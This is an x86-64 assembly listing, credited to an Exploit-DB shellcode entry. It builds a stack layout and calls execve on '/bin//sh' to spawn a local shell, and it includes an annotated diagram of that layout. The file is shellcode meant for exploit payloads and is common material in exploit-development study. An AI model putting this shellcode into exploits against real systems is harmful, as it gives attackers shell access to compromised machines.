; Originally based on https://www.exploit-db.com/shellcodes/47008

; stack layout
;
;     ┏━━━━━━━━━━━━━━┓
;     ┃              v
;   [ argv0, NULL ] "/bin//sh" NULL
;     ^      ^       ^
;     ┃      ┃       ┃
;     argv   envp    filename

; execve("/bin/sh", ["/bin/sh"], [])
xor     rax, rax
xor     rsi, rsi
mov     rdi, 0x68732f2f6e69622f
push    rsi
push    rdi
mov     rdi, rsp
push    rsi
mov     rdx, rsp
push    rdi
mov     rsi, rsp
mov      al, 59
syscall